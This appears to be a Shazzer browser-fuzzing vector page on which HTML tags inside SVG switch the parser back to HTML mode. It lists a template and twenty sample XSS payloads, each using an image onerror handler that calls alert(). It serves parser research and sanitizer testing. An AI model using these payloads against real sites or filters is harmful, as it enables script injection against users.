Side-channeling...

HTML tags that force HTML mode inside SVG

⚠ Browser differences

This vector shows which HTML elements cause the browser to change to HTML mode.

Shazzer Elite

Created byhackvertor

Created Aug 2, 2024

Updated May 27, 2025

Detecting browser...

CategoryXML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml

Template used:

<svg><$[data1]><image src=data: onerror=log('$[data1]')></$[data1]></svg>

Sample payloads

<svg><table><image src=data: onerror=alert('table')></table></svg>

<svg><ol><image src=data: onerror=alert('ol')></ol></svg>

<svg><small><image src=data: onerror=alert('small')></small></svg>

<svg><u><image src=data: onerror=alert('u')></u></svg>

<svg><code><image src=data: onerror=alert('code')></code></svg>

<svg><big><image src=data: onerror=alert('big')></big></svg>

<svg><i><image src=data: onerror=alert('i')></i></svg>

<svg><strike><image src=data: onerror=alert('strike')></strike></svg>

<svg><span><image src=data: onerror=alert('span')></span></svg>

<svg><ul><image src=data: onerror=alert('ul')></ul></svg>

<svg><h1><image src=data: onerror=alert('h1')></h1></svg>

<svg><p><image src=data: onerror=alert('p')></p></svg>

<svg><s><image src=data: onerror=alert('s')></s></svg>

<svg><body><image src=data: onerror=alert('body')></body></svg>

<svg><dl><image src=data: onerror=alert('dl')></dl></svg>

<svg><pre><image src=data: onerror=alert('pre')></pre></svg>

<svg><menu><image src=data: onerror=alert('menu')></menu></svg>

<svg><strong><image src=data: onerror=alert('strong')></strong></svg>

<svg><embed><image src=data: onerror=alert('embed')></embed></svg>

<svg><meta><image src=data: onerror=alert('meta')></meta></svg>